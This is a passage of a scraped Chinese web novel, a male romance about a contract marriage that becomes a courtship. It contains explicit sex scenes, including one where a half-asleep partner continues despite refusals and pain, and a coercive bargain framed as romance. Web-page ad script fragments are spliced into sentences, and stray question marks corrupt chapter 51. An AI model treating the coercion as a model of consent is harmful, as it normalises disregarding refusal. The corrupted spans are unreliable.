徐矿想,他看起来好小呀。 仿佛能被自己拢在手心里似的。 “怎么办呀,”郁书青的表情有些无奈,“你都不知道该做什么才好了。” 就在这个瞬间,徐矿脑海里突然出现一个画面,那就是可怜的汤姆,就这样被玩弄于股掌之中—— 被人任意搓扁揉圆。 不行,他当然不能坐以待毙! “谁说的,”徐矿反唇相讥,“我当然知道该做什么了。” 他气鼓鼓地给人丢床上,动作有点大,郁书青的身体还随着床褥弹了那么两下,可徐矿看都不看,转身就往外走。 郁书青叫他:“你要做什么?” 还能做什么! 徐矿自信扭头:“等着,我去给地扫了。” 郁书青一怔,在这个瞬间,他脑海里突兀地出现了“傻狗”这两个字,像是太过熟悉,哪怕记忆已然封存,却清晰而严丝合缝地出现,烙印般地闪现。 ……他也不想这样的。 毕竟是自己有求于人,而徐矿也巴巴地跑了过来,还纡尊降贵地去给他扫玻璃渣,所以这会儿骂人家傻狗,实在是有些不道德,所以郁书青也就在心里想想,憋着,没有说出口。 他只是仰面躺在床上,听着外面的动静。 然后伸手,挡住了自己的眼睛,以及里面的全部笑意。 - 徐矿家务做的不多,实在笨手笨脚,而郁书青这里简直比宾馆都没烟火气,想找个塑料袋都没有。 厨房也没开过火似的,一片冰冷。 徐矿抽出纸巾,仔细地给碎片包好,找到了支笔,在上面写了句备注,小心翼翼地放进垃圾桶里。 玻璃杯打碎了就这点不好,碎渣多,他认真地扫了两遍,又把角落里的扫地机器人打开,才洗了手,重新回到卧室。 郁书青还在床上躺着,没动。 徐矿吐槽:“你在家不穿袜子,光着脚不冷啊?” 他说着,就要伸手去开那盏小壁灯,可下一秒就被吸引了目光。 郁书青……似乎睡着了。 小臂还搭在脸上,呼吸很沉很均匀,安安静静地躺在那里,甚至没有注意这个姿势,而走光的双腿。 徐矿的动作停下了。 要说没有半点心思是假的,他们之间有过肌肤之亲,徐矿也曾握着郁书青的脚腕,一边挺身一边亲吻,都说食髓知味,更何况,他只尝了那么一晚上,哪儿能吃得饱,最怕的不是肚子饿,而是你知道那个味道的美妙,而渴望的东西,就这样直白地呈上来。 像是块香甜的小蛋糕,最上方的红樱桃马上就要陷入奶油,你再拖延时间,就是对它的亵-渎。 可是郁书青是怎么想的? 徐矿的心跳得有点快,他拿不准这是个邀请,还是自己的心脏,恒温恒湿的空调在运行,他叹了口气,还是捞起旁边的毯子,盖在了郁书青的身上。 别给人冻着了。 被毯子盖好,沉睡的郁书青有了动静,他发出声若有似无的闷哼,胳膊也从脸上滑落,露出睡意昏沉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的小脸,额发散着,长而翘的睫毛在脸颊上拉出阴影,而就在这个瞬间,徐矿突然想了起来,一直被他忘掉的事。 该死,明明来的时候就想了一路! 他果断地把刚才的旖旎全部抛之脑后,将身体俯下,凑近了郁书青的耳朵。 声音很轻,怕把人吵醒,语气十分坚定。 “……你瞎啊。” 玻璃渣都不会避开吗! 对方果然睡着了,没有丝毫反应,徐矿的脸上,终于出现了今天晚上的笑容。 那叫一个舒坦。 - 雨期结束,天空澄净得要命,阳光也跟着温柔,透过窗纱,在床褥上洒下蜂蜜水似的金斑。 郁书青的眼皮儿抖了两下,头还有点晕,本能地把被子往上扯了扯,挡住自己的脸。 既然没被闹钟叫醒,说明今天是休息日,他没什么睡懒觉的习惯,但要是不想起床,也不会逼着自己爬起来。 郁书青不为难自己。 只是今天似乎有些奇怪,身体很重,像是被什么东西压着似的,连翻身都做不到。 不对。 郁书青猛然睁开眼睛—— 正对上了一张熟睡的脸。 他的大脑足足宕机了好几秒,才反应过来,昨天晚上他把徐矿叫到家里,太晚了,什么都没有发生,在对方去打扫玻璃渣的时候,自己没撑住,真的就睡着了。 郁书青的心放了下来,抬起对方横在自己腰上的手臂,搁在旁边。 身体没有异样,浴袍虽然被滚得皱巴巴的,但也没有被脱下来,郁书青很平静地接受了这一切,转过身,轻手轻脚地就要起床。 紧接着,腰间就传来一股不容抗拒的力量。 徐矿不由分说地伸手,一把给他捞回来了。 郁书青的后背紧紧贴在对方的胸膛上,温热的呼吸扑在耳畔,痒酥酥的,与此同时,徐矿的膝盖插-了过来,直直地頂开郁书青的双腿。 并,蹭了几下。 郁书青的身体僵硬片刻,脸上的表情有一丝扭曲。 没关系,他安慰自己,清晨的男人都这样子,他们毕竟是滚过床单的关系,徐矿有肌肉记忆的话,也很正常。 他甚至不介意,互帮互助一下。 但问题的关键是,这会儿郁书青,很想上厕所。 昨晚喝了一杯热牛奶,刷牙洗漱后,又喝了点清水,在等徐矿的时候睡着了,所以这会儿,就有那么点尴尬。 “起开,” 他艰难地转过身子,试图用手肘去推开徐矿,但问题是,不仅没有推开,反而被抱得更紧,徐矿睡得那叫一个踏实,郁书青动弹不得,只好抬高自己的音量:“你放开我!” 昨天晚上,就不该撑不住睡着的! 起码得给门锁了,省得这人不要脸爬床,跟狗见到肉骨头似的,死死地抱着他不撒手。 ……还在蹭! 郁书青忍了忍:“徐矿,你先起来,我要去厕所。” 这个时候的郁书青,单纯地以为对方只是没醒过来,可下一秒,浴袍的前襟被扯开,徐矿的声音很哑,半睡半醒的迷糊样子:“哦……” 整整一晚上都完好的浴袍,在此刻滑落。 耳畔的气息粗重,掌心温热,手上的力气又很大,反复地捻着他的乳-尖。 郁书青浑身都像被电流过了一遍似的,声音发抖:“徐矿……我要上厕所!” “嗯……” 徐矿的脸还埋在他的肩颈上,鼻音很重。 “就在这儿上。” 21.第 21 章 郁书青很少这样被动。 他顾得了这边,顾不了那边,徐矿把他整个人都牢牢圈在怀里,肆无忌惮地揉搓,后颈那里的肌肤被吻得战栗,两条腿又被挤进来的膝盖頂开,徐矿就这样顺着他的臀-缝,一点点地找角度—— “不行!” 郁书青拼命挣扎:“不可以!” 什么准备工作都没有,如果现在就直接进去的话,他都怕自己断气,即使侥幸无事,也一定会—— 把床单弄湿。 郁书青不敢想。 说徐矿活差只是气话,他再怎么没经验,人家的硬件设施在这摆着,当然知道徐矿虽然技术不到位,但条件好到不可思议,一开始不懂换姿势,几乎给他钉死在床上,后来无师自通,也学会了放慢速度,当然,练得太少,人还是菜,趴在落地窗上的时候,郁书青只觉得对方要给自己凿进墙里。 “别睡了,”郁书青狼狈极了,“不能这样,你快点醒醒!” 可徐矿像是梦魇似的,闷哼着抬起他的一条腿,整个身体都要压过来。 “疼!” 郁书青彻底慌了,声音带了哭腔:“徐矿,我疼!” 这声惊呼像是突如其来的咒语,瞬间解救了他,徐矿动作停下,在呆滞了三五秒的功夫后,猛然退了回去,连滚带爬地坐直身子:“对不起,我以为在做梦……” 他使劲儿搓了把自己的脸,伸手,笨拙地给郁书青拉好衣服。 郁书青的胸口剧烈起伏,缓了好一会才坐起来,沉着脸下床。 徐矿急慌忙地跟上:“你去哪儿?” “厕所。” “……哦。” 徐矿耷拉着耳朵不说话了,老老实实地站在外面,若是给脚下画个圈,简直能当罚站范本,但罚站的人不会出现这样的表情,耳尖也不会泛起薄红。 徐矿吓醒了,也反应过来了。 就是心里说不上什么滋味。 因为……他真的以为自己在做梦。 和郁书青重逢后,他不是没做过类似的梦,梦里的郁书青很乖,很可爱,就像那天喝醉了一样,让怎么做就怎么做,弄疼了也只会回眸,轻轻地瞪他一眼。 徐矿觉得自己不道德,怎么能做这样的梦呢? 可这玩意他又控制不了。 就像今天一样。 昨晚郁书青睡着了,本来徐矿打算离开,都走到门口了又拐回来,觉得你让我来我就来,让我走就走啊,这算什么? 炮-友都不带这么欺负人的。 于是他的目光在屋内巡视一番,决定给自己找回面子—— 睡了郁书青的沙发再说! 可横竖睡不着。 徐矿哪儿受过这委屈,他这辈子就没睡过这么小、这么不舒服的地方,客厅空荡得吓人,他越想越生气,凭什么郁书青能躺在床上呼呼大睡,他一米九多的个子,却得窝在沙发上凑合,于是恶从心中起,怒从胆边生,凶巴巴地闯进了卧室。 蹑手蹑脚地爬上了床。 挨着郁书青,把自己的衬衫脱掉,不知道郁书青都给被子放哪儿了,大晚上的,徐矿不好去翻柜子,给人家的被子拉过来一点点,搭身上了。 郁书青睡得特沉,一点动静都没。 徐矿打了个呵欠,背对着人,昏昏沉沉地也要睡着。 然后,就被踹了一脚。 徐矿:“……” 他默默地挪了下身体,躲开了点,继续睡。 又被横着的郁书青踹了一脚。 徐矿不能忍了。 上次和郁书青睡觉的时候,对方喝醉了,一晚上倒挺老实,这会儿逮着他踢算什么回事?力气还挺大,徐矿也是那种不吃亏的主,在澳洲差点被袋鼠打,他都要过去跟对方比划比划,这会儿当然不肯善罢甘休。 于是,他就恶狠狠地一掀被子,给郁书青捞进怀里,抱着睡了。 只是早上的时候,做了个暧昧的梦。 肌肤的触感太真实,徐矿甚至都舍不得醒来,郁书青在对自己笑,笑得迷人极了,似乎说了什么,让他快点过来,浴袍滑落下去,堆在赤-着的脚踝边,像剥开一朵含苞的郁金香,徐矿闭了闭眼睛,又睁开,想对郁书青说,你知道自己的脚很小吗,他一只手就能握住。 可不知怎么回事,话到嘴边,就是说不出来。 没关系,郁书青自己凑了过来。 徐矿把脸埋在对方的颈窝里,好热,好舒-服,他一边摸一边咬,兴奋得有些忘乎所以,他记得郁书青那里有些凹陷,但是随着情-动,淡粉变了颜色,逐渐显出殷红的存在感,吃的时间长一点,就愈加艳丽,变得微肿而敏-感—— 郁书青就会叫出声。 可爱死了。 ……门打开的瞬间,徐矿下意识地站好,心虚地咳嗽了一声。 “大早上的,”郁书青瞥了他一眼:“这么精神?” 徐矿低头一看,脸瞬间就红了。 郁书青也没在意,他刚洗完手,指间还带着水珠的凉意,反手在徐矿的胸口上擦了两把——这人睡觉的时候估计嫌不舒服,给外面的衬衫脱掉了,所以上半身是赤裸的,显示出男人健硕的身躯,摸上去的手感也很好,温热而有弹性。 郁书青多看了两眼。 感觉—— 好喜欢! 他瞬间原谅了对方刚才的唐突,重新思考昨天的问题。 已知:徐矿年轻英俊,条件不错,有过帮助自己应付家里的想法,那么签订协议分开后,心里不会有什么负担,虽然这人招摇了点,嘴欠了点,但他俩睡过,是各种意义上的知根知底。 那么答案就是,徐矿是一位相当不错的结婚对象。 郁书青想得出神,手也没闲着,从徐矿的胸膛摸到结实的小臂,然后回到紧绷的腹肌上:“你经常锻炼吗?” 徐矿不明所以,没敢乱动:“……嗯。” 郁书青是商人,习惯性地审时度势,把所有的利益都变得最大化,这会儿欣赏徐矿的身体,就跟拍卖会上盯着身价会水涨船高的古董一样,目光闪烁着满意,动作也变得亲昵。 徐矿受不了,一把拽住郁书青的手腕:“你做什么呢?” 郁书青的手指已经搭在男人的裤边上了,保持着往里勾的姿势:“你不是有感觉了,我帮你啊。” 想清楚后,郁书青倒没什么纠结,迅速切换了生意场上谈判的思维,他有求于人,自然要和对方互利互惠,徐矿是他看好的合作伙伴,那除了掰腕子之外,也要共赢才行,甜头必不可少。 徐矿神情讶异:“我……” 很快,他就说不出话了。 郁书青握着他,动作很明显的生疏和笨拙,表情却很纯净自然,似乎并不认为这是件多狎-昵的事,就像小时候他们在沙滩上堆城堡,海浪温柔地冲刷而来,留下大片的洁白泡沫,徐矿的头发和脸上都是沙子,郁书青伸手给他拍干净,就是同样的表情。 在他眼里,徐矿的敏-感部位和展露在外面的肌肤,并没有什么分别。 除了前者过于灼热,烫到了他的掌心。 徐矿喘着气,下意识地伸手扣着郁书青的后脑勺,另只手,原本在对方的腰上,随着呼吸的愈加急促,本能地摸到了中间那处凹陷,还没往下探,就被拍开。 郁书青的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声音很平稳:“别碰。” 如果说,这一秒钟的徐矿正在犹豫,要不要低头吻下去的话,那么这轻飘飘的两个字,则给他兜头泼了盆冷水。 因为徐矿突然意识到了个问题。 是不是在郁书青眼里,他和外面的男人,也没有什么区别? 说来有些可笑,徐矿这人骨子里其实挺保守,而保守也往往跟随另一个特点,就是领地意识。 那次他弄郁书青肚子里,就下意识地给人圈地占有了,觉得该自己负责,可对方的态度模棱两可,之前骂他活差,让他滚,现在却大晚上地叫他过来,还为自己做这种事情。 他低头看郁书青的嘴唇,轻轻张开着,那颗小痣很清晰。 可徐矿不想吻了。 他有点生气。 郁书青浑然不觉,胳膊已经开始酸了:“……还有多久?” 他本来想拉近下距离,通过这样的方式告诉对方,抱歉,上次不该骂你,现在让我们坐下谈谈,来点对彼此都有益的合作。 毕竟在郁书青心里,他感觉徐矿还蛮喜欢做这种事的。 不然也不会逮着他弄了一晚上。 可徐矿脸上的表情却有些说不上来,那双漂亮的眼睛里像是蒙了一层雾,把所有浓郁的情绪都隐在后面了,化不开,却又满得随时都会溢出来,配上泛着浅淡薄红的脸颊,以及乌润的睫毛,显得瞳仁都有点水汽盈盈。 郁书青手累,大脑也跟着迟钝。 于是,他放慢了速度,思考了那么几秒钟,便笃定地看向徐矿。 “……爽哭了?” 徐矿安静片刻。 郁书青继续沉思,可还没等他得出一个更为准确的结论,就被对方拉开了手。 徐矿捏住郁书青的下颌——这是个有点不尊重人的姿势,郁书青的下巴卡在对方的虎口,被迫仰起脸,脸上的肉被挤得稍微嘟起,嘴巴也变得很圆,仿佛被捏住后颈提起来的小猫。 “你说过,家里逼着你结婚,让我帮忙?” 郁书青眼睛一亮,果然,刚才的努力是有收获的,徐矿爽了,他心动了! “唔……是的,你先给我放开……” 徐矿置之不理,另只手则绕过去环住郁书青的腰,给他整个人都往上提了下,两人的距离骤然变得很近,呼吸都能彼此感知。 “可以,” 徐矿笑了一下,却不是往日里的促狭或者戏谑,只有嘴角轻浮地上扬,眼角的弧度纹丝不动:“不过,我有条件。” 郁书青偏头挣了下,没挣开,只好继续用含混不清的声音回答:“好,你说。” 由于嘴巴被钳制,发音的“说”很像“嗦”,听起来仿佛是在邀请徐矿来舔他似的,毕竟身上的浴袍在刚才的动作中,滑落大半,衬得郁书青像一支快要融化的奶油雪糕。 徐矿看了一眼,给这支雪糕抱起来了,一步步往床那走去。 “如果结婚,那是否要履行伴侣的义务?” 郁书青仰面倒在床上,被摔得晕头转向:“都可以……我们先商量,然后起草一份协议……唔!” 徐矿咬住了他的耳垂,呼出的气息很烫。 “那我要求每晚都做,直到你哭。” “不管是爽哭的,还是疼哭的,都行,我无所谓……怎么样?” 他手上的动作不紧不慢:“别误会,可不是因为我想跟你做,只是一想到每天都能给讨厌的人弄出眼泪,我会很爽。” 郁书青动弹不得,想骂他有病,是变态,可浑身抖得厉害,说不出话。 他的颤音全部闷在枕头里。 雪糕在徐矿的手里,彻底融化。 50-60 第51章 第 51 章 这?天晚上, 郁书青过得相当绝望。 徐矿的那句“老子舔死你”,不?是说说而?已。 ……他是真?的身体力行地实践。 最早是在玄关,然后跌跌撞撞一块儿滚到沙发上, 最后郁书青被?抓着?脚腕从床底下拽出来, 柔软的地毯都被?滚皱了, 徐矿托着?他的腰, 睫毛上满是湿-漉漉的水汽,郁书青不?敢低头, 不?敢去看对方通红的嘴唇, 以及自己因为痉-挛而?微微颤抖的大-腿。 “我受不?了了……” “别闹了行吗, 我们好?好?谈谈……唔!” 郁书青两手撑不?住, 还坐在徐矿的脸上,泪水干涸,衬得脸颊更加潮红, 而?跪着?的膝盖也疼得厉害, 只能从喉咙里发出呜-咽似的声音, 时间真?的太长了, 呼吸变得滚-烫, 他感觉自己肚子上的肌肉都在跟着?一跳一跳,郁书青闭了闭眼睛,视觉冲击力太强,头皮阵阵发麻, 过了会儿, 眼眶又充盈起?泪水。 “啪嗒。” 眼泪砸在徐矿散着?的头发上。 不?为所动。 郁书青哑着?嗓子:“徐矿……我讨厌死你了……” 硬生生地被?弄哭,真?的太丢人。 他甚至怀疑时间已经到了早上, 徐矿的胡茬是不?是都要长出来了,来自同性强烈的荷尔蒙充斥着?房间, 被?摩擦得有些?疼了,郁书青双手撑着?床褥,又往上够,勉力趴在墙上,额上全是薄汗:“你、你不?累吗……” 徐矿这?才偏过脸,把他往上托了下:“别说话,正吃着?呢。” 郁书青已经不?试图逃跑了,被?抓回来只会被?惩罚得更狠,他只是无力地垂着?脖颈:“我没力气了……” 徐矿还有心?情冲他挑眉:“这?就?不?行了,郁总有点虚啊?” 郁书青早就?破罐子破摔了:“是,我虚。” “男人怎么能说自己虚呢,”徐矿嘴唇红肿,泛着?水润的光,看起?来就?像一只吃饱喝足的妖精,美滋滋地躺在自己的巢穴里,“这?样吧,你躺着?或者趴着?都行。” 郁书青艰难地滚动喉结:“不?要……” 他可不?想再把膝盖折叠到颈窝处,承受不?了,几乎大半个后背都被?迫抬了起?来,床褥发出令人害臊的摇-晃声,郁书青迷迷糊糊地想,天杀的徐矿,怎么能给床也弄得这?么响呢,趴着?也不?行,肩胛骨因为用-力而?绷得很-紧,郁书青想摆烂,可徐矿不?让他纯粹地趴下,箍着?腰给拽起?来,最开始羞-耻得想死,之后已经麻木了,郁书青双眼无神地看着?天花板,大脑一片空白。 “为什么不?要,”徐矿笑得很甜,“你刚才不?喜欢吗?” 失焦的瞳孔缓缓恢复,郁书青低头,没什么表情地看着?对方,真?的用了太长时间了,徐矿就?这?样以惊人的体力和耐心?,让他在没有被?真?正进-入的情况下反复糕-潮,徐矿甚至都没有用手,纯粹是柔软的唇-舌,就?给郁书青磋磨成这?幅糟糕的样子。 郁书青的嘴唇抖了抖:“……要坏了。” 又一滴眼泪落下。 这?下,彻底止不?住了。 他越想越委屈,越哭越难为情,用双手捂住自己的脸,多?丢人啊,亲热的时候被?人糙哭也不?算稀罕事?,可问题是,徐矿这?样漫长的折磨太可怕,铺天盖地的快-感冲得头皮发麻,小腿肚子酸-痛不?堪,他软了,难受得滩成一汪水,顺着?眼角“啪嗒啪嗒”地往下掉。 徐矿这?才愣神,终于停下。 “哎呀,怎么真?的哭了?” 他把郁书青抱在怀里,一边擦眼泪一边哄:“不?哭了不?哭了,是我不?好?。” 郁书青的肩膀不?住地抖动,讨厌死了,这?会儿才开始装大尾巴狼,早在玄关处他就?被?刺-激得掉眼泪,说得好?像现在刚发觉似的。 徐矿微微地叹息着?:“多?大的人了,还哭得这?么厉害啊,弄得哪里都湿-了……” 说话的内容是在小小地抱怨,但语气全是惬意和满足,像慵懒的大猫用尾巴勾住喜欢的玩偶,喉咙里发出餍足的咕噜声。 郁书青身上裹了毛毯,整个人都被?徐矿抱在怀里,这?个姿势,也能清晰地感受到对方的异样,郁书青的手还捂着?脸:“……我恨死你了。” 徐矿就?亲亲他的耳朵:“我错了。” “你……你不?难受吗?” “难受啊。” 徐矿拉过郁书青的手,摸了一下,轻描淡写的模样:“……都发疼了。” 郁书青缩回手,脸颊上还满是泪水,从指缝里看他:“那你还忍着??” “不?忍啊,我想好?了,给你哄睡着?后,”徐矿认真?道,“就?找件你的睡衣,去厕所打-飞-机。” 郁书青:“……” 郁书青:“傻比吧你?” 徐矿一点点地亲他的手指:“没错,你说的对,乖……别生气了,不?哭了好?吗?” 他说着?就?拿起?郁书青的手,在自己脸上打了两下:“出出气,别哭了,哎呀怎么这?样可怜,我都心?疼死了。” 郁书青红着?眼看他,鼻尖也红红的,整个人就?像一颗熟透的水蜜桃,一戳就?淌-水。 徐矿喉结一滚,不?由自主地凑近:“怎么眼泪还没擦干,我给你舔干净——” 话音落下,郁书青猛地一激灵,下意识地甩出一巴掌。 他现在听不?得“舔”这?个字! “啪”的一声。 屋内陷入寂静。 徐矿没躲,生生挨了,两三秒后才回过头,微微喘着?气。 “对不?起?,小咪。” 他死死地盯着?郁书青,吞咽了下:“能现在就?把你的睡衣……给我吗?”- 连着?好?几天,郁书青都没有理徐矿。 还躲着?他,没再继续睡一个屋檐下。 不?然郁书青真?的怕自己忍不?住,拿脚踩这?人的脸。 这?就?很矛盾了。 ……想打,又怕对方爽到。 徐矿的电话和车倒是每天不?落,早早的就?在外面等着?,看见郁雪玲就?笑着?打招呼:“奶奶!” 两手还不?空着?。 郁雪玲现在见着?徐矿就?喜欢,扭脸朝楼上喊:“小咪啊,你老公来接你上班了。” 蒙着?被?子的郁书青:“……” 决定装死。 徐矿也不?坚持:“没事?,小咪可能没有休息好?,让他再多?睡会,我在外面等着?就?行。” 郁雪玲挽着?人胳膊,强行拉到餐桌旁:“什么叫在外面等着?,快点,先一块吃饭。” 她故意抬高声音:“要是小咪赖床,咱就?不?给他留,让他饿肚子!” 徐矿就?笑着?,从餐盘里拿出块糕饼:“那不?行,我先偷一块给他留着?,不?然心?疼。” 楼梯处传来脚步声,郁书青下楼的速度很快,面无表情地往外走?,而?徐矿立马从餐桌旁站起?来,飞也似地跟上:“奶奶,我们就?先走?了。” 郁雪玲乐呵呵的:“路上慢点。” 徐矿一直到院子里才追上郁书青,先把糕饼递过去,郁书青不?跟食物闹脾气,很平静地接过,就?直接坐进副驾驶的位置,车辆启动,引擎声响起?,路灯流星般的往后退去,郁书青抽出纸巾,擦了下唇角的碎渍。 ……好?险。 因为徐矿已经一脸遗憾地缩回手,叹口气,转而?递上一杯矿泉水。 路上,郁书青依然一言不?发,而?徐矿则自顾自地讲话,讲昨日的天气,讲他在路边看到的一条白毛小狗,居然会后空翻呢,又讲最近的柿子熟了石榴甜得像蜜,在饱满的皮上弹一下就?会炸开窄缝,露出紫水晶似的石榴籽。 讲累了,就?开始哼歌。 ……怎么可以这?样难听? 郁书青忍了又忍。 终于到达目的地,飞快地按下安全带卡扣,扭头就?要往外跑。 “宝贝,”徐矿拉住他的手腕,“你忘记了今天的东西。” 他还是会在衣兜里放些?小玩意,可可爱爱的,让郁书青自己伸手去拿。 郁书青冷漠地回头。 不?行。 现在看到徐矿那欠揍的笑脸,就?忍不?住想到几天前的晚上,他被?欺负得有多?惨。 徐矿轻轻地晃了下他的手:“看一下吧,好?吗?” 郁书青沉默着?。 自己也说不?上来为什么,明明都是些?小野花似的玩意,或是张几十年前的旧唱片,但他真?的无法抗拒打开的瞬间,会好?奇,会憧憬,会带着?惊喜探过头—— 像是没有孩子,会拒绝一个礼物。 郁书青坐了回来,把手放进徐矿的衣兜。 他怔了下。 空的。 郁书青不?明所以地抬头,四目相对的刹那,徐矿冲他竖起?大拇指,另一只手则同时伸进去,紧紧地握住郁书青。 十指相扣,自信一笑。 “没错!今天你忘记的礼物就?是我!是我耶!” 郁书青:“……” 徐矿继续:“你不?觉得我今天很帅吗?刚才进屋的时候,奶奶还在夸我靓仔,说我好?有型。” 他讲话的时候,满眼都是笑意,长而?卷的睫毛下是琥珀般的瞳孔,清澈到没有丝毫狎昵,郁书青之前就?觉得,徐矿长得挺牛逼的,不?然他也不?会因为这?张脸忍到现在。 所以,他就?勉强欣赏了那么一小会。 徐矿的神情微微怔然。 “小咪,”他喉结滚动了下,“我……” 郁书青把手抽出来了。 他用手背拍了拍徐矿的脸:“又开始荡漾了?” 徐矿仰着?下巴,没动。 “这?会儿老实了,嗯?” 郁书青不?紧不?慢地开口:“是不?是挺爽的,自个儿晚上还在回味,都回味得睡不?着?觉?” 徐矿眼底,是有点淡淡的青。 “不?是,” 徐矿声音很轻:“是没有你在旁边,我睡不?着?。” 郁书青的手捏住徐矿的下巴:“那下次,还敢不?敢这?样对我?” 徐矿吞咽了下:“要听实话吗?” 还没到上班高峰期的时间,天边泛着?鱼肚白,步履匆匆的行人穿过斑马线,无人知?晓路边停着?的一辆卡宴内,有两人在无声对峙。 空间狭窄,气温就?容易升高。 郁书青眯着?眼睛:“先说假话。” 徐矿毫不?犹豫:“下次还敢。” 郁书青:“?” 郁书青:“那真?话呢?” 徐矿这?才偏过头,用脑袋拱了拱郁书青的掌心?,然后把自己的脸颊放上去,很小心?地吻着?郁书青的手指。 “真?话就?是……我会忍不?住做得更过分。” 他咬住那微凉的指尖,慢慢地含-进嘴里:“抱歉,因为你哭得好?漂亮。” 郁书青按住一点突出的虎牙,用了点力:“无耻。” 他能感觉到,徐矿在取悦他。 可这?种取悦,伴随着?更为强烈的占有欲,像是无形的锁链,在彼此的较量中缠住脚腕,无法挣脱,都不?是肯低头的性子,都试图征服对方,无论是身体还是心?灵,都要占据上风才行。 郁书青不?知?道,这?算不?算是一种喜欢。 但他的确被?徐矿激起?了斗志。 可另一种本能的逃避也油然而?生,就?像那天晚上,他哭着?被?徐矿按在柜面上,对方咬着?他耳朵说你不?乖,你撒谎。 郁书青的手还压着?徐矿的虎牙,车内静悄悄的,彼此注视,两人同时沉默了下来,尤其是徐矿,这?样仰着?脸,很安静地看着?他的眼睛。 仿佛在等一个回答。 郁书青被?烫到似的缩回手,生硬道:“别撒娇。” 徐矿微笑起?来,笃定道:“你觉得我可爱了。” 郁书青:“我没有,别瞎说。” “跟我试试吧,”徐矿拉住他的手,很认真?地说,“让我当你男朋友,好?吗老公?” 郁书青:“?” 这?什么乱七八糟的称呼。 “虽然刚开始追,就?迫不?及待地要身份太不?合适,”徐矿直勾勾地看他,“可是,晚上没有小咪抱着?睡觉真?的好?难过啊,我翻来覆去怎么都睡不?着?闭上眼就?是你的腿……啊不?,我满脑子都是你的脸,你好?漂亮,是我见过的最漂亮的男孩子,也是最可爱的……真?奇怪,我很早就?觉得你漂亮了,可为什么之前没有追你?” 他眼神稍微有一丝迷茫:“我是什么时候,喜欢上你的呢?” 郁书青面无表情。 你问我啊? 还是在点我? 他哪儿知?道徐矿是什么时候突发恶疾,非要把彼此纯洁的负距离友谊弄变质的,搞得他也有些?不?自在起?来,晚上一个人睡的时候,居然有些?怀念那个温暖的怀抱。 “拜托,”徐矿捧起?他的手,轻轻地啄吻着?,“能不?能告诉我,我是什么时候喜欢上你的,而?你……” 他抬眸,眼里是满得要溢出来的期待:“又是什么时候喜欢我的?” 郁书青倏然抽回手。 “你说什么,”他语速很快,“我要上班了,别闹。” 可徐矿的速度比他更快,车辆落锁,再怎么努力,副驾驶的门也无法打开,郁书青气恼地回头:“徐矿!” 徐矿气定神闲地看着?他:“小咪,你今天真?的要上班吗?” 郁书青顿住,很慢地眨了几下眼睛。 “你的确失忆过吧?” “你究竟忘记了多?少事?情,或者单单的……只忘记了我?” 郁书青的心?跳得很快。 徐矿已经凑近,语调又柔又软,黏糊糊的。 “还是说,连你自己都不?知?道?” 一阵漫长的沉默。 徐矿的手指,按在郁书青唇下的小痣上:“这?样吧……宝贝,我们试试,看谁先搞明白事?情的真?相,如果是我的话,我要奖励。” 郁书青垂着?睫毛:“……你要什么?” 如果仅仅这?样,就?要答应对方的追求,郁书青一定会直接拒绝。 徐矿收回了手,放在自己的嘴角,眼眸很亮。 “我要你答应……让我再舔你一次,前前后后,里里外外,kiss kiss!” 车辆的空间还是太小了,不?够发挥。 郁书青袖子捋上去了,挥拳都出现了残影,可仍嫌不?过瘾,现在不?在乎徐矿会不?会趁机舔他手,也不?管对方有没有爽到,他只知?道,这?会儿要是不?动手,自己会非常不?爽。 “变态!” “那又怎么了,你凭什么看不?起?变态,你还和变态亲嘴呢!” 郁书青气得说不?出话:“你……!” “哎,”徐矿双手挡在胸前,做好?了防御姿态,“怎么,这?嘴不?要了?那你丢的时候跟我说一声,我去捡,我捡回来天天亲,我不?仅亲,我还嗦,我天天搂着?睡觉!” 郁书青被?噎到:“你不?是说在追我吗,你就?是这?样追人的!” 徐矿靠在车厢上:“我又没追过人,我哪儿知?道正确的方法是什么?这?样吧我们握手言和各退一步,你教教我怎么追,行吗?” 郁书青:“做梦!” 说完,他就?伸手去按开锁键,被?徐矿眼疾手快地捉住手腕,抬起?来,毫不?客气地亲了一口。 郁书青:“啊啊啊啊!” “好?了,”徐矿笑着?给郁书青抱怀里,努力制止住对方的挣扎,“别挠了,你好?像一头小野猪哦……嘶,轻点,别打脸啊!” 他单手抓住郁书青的手腕,强势地往下压,同时凑近:“再嗷嗷我就?亲你嘴。” 郁书青不?动了。 “真?乖,现在告诉我,你准备去哪儿查呢,我和你一起?好?不?好??” 郁书青表情麻木:“我要自己去。” 徐矿端详着?他的脸,很满意的样子:“哎呀,长得怎么这?么讨人喜欢,真?可爱,我能亲一口吗?就?一口。” 郁书青:“……” 郁书青:“我要去一趟卓越。” 那是他们初中母校,离这?儿还稍微有一点远。 徐矿眯着?眼睛,仿佛是野外狡黠的动物做好?的捕猎的准备,神情专注,带着?微微的笑意。 “谢谢宝贝。” 他闪电般凑过去,在郁书青的嘴上,响亮地亲了一口。 太使劲儿了,郁书青恍惚觉得自己的嘴唇像果冻似的,猛地回颤了好?几下,不?,不?是错觉,真?的被?亲到抖了抖,而?徐矿也发觉了这?一点,眼睛瞪大,很兴奋的模样。 “你的嘴唇好?可爱,嘟嘟的。” 说着?,就?又亲了两口。 徐矿亲完还回味了下,冲郁书青竖起?大拇指。 “哇靠,你的嘴巴长得好?带劲啊!” 第52章 第 52 章 今天的风有些?大, 郁书青目光呆滞地靠在?车窗上,被那?两个吻弄得,怎么说呢…… 有点萎。 他这?会儿?脑海里什么都没有想, 整个人?都陷入一种无欲无求的状态, 而旁边的徐矿则极其兴奋, 一路都在?哼着难听的歌。 今天是周五, 卓越初中的学生还没放学,徐矿在?旁边找了个停车场, 按下?安全带后, 冲郁书青挑眉:“宝贝?” 郁书青缓缓回头。 “喝不喝奶茶?” “闭嘴。” “宝贝你好凶哦。” “滚。” “嘤——” 卓越是本地的老牌初中, 没有搬迁过, 多?年的历史底蕴促进了周边经济的发展,简而言之就是,从停车场出来, 挨着就是一条热闹非凡的小吃街。 这?会儿?九点多?钟, 除了卖早点的摊子之外, 老板们还没怎么正式出街, 懒洋洋地做着准备, 或者一边打扫卫生,一边和邻里唠家常,徐矿带着郁书青往前走,不禁感慨:“记得那?家鸭血粉丝汤吗?” 是他这?辈子喝过的, 最好喝的鸭血粉丝汤。 在?别的地方?, 再也没有尝到过这?样的美味,后来徐矿曾经怀疑过, 是不是因为童年滤镜的缘故,但是前几年偶然回国, 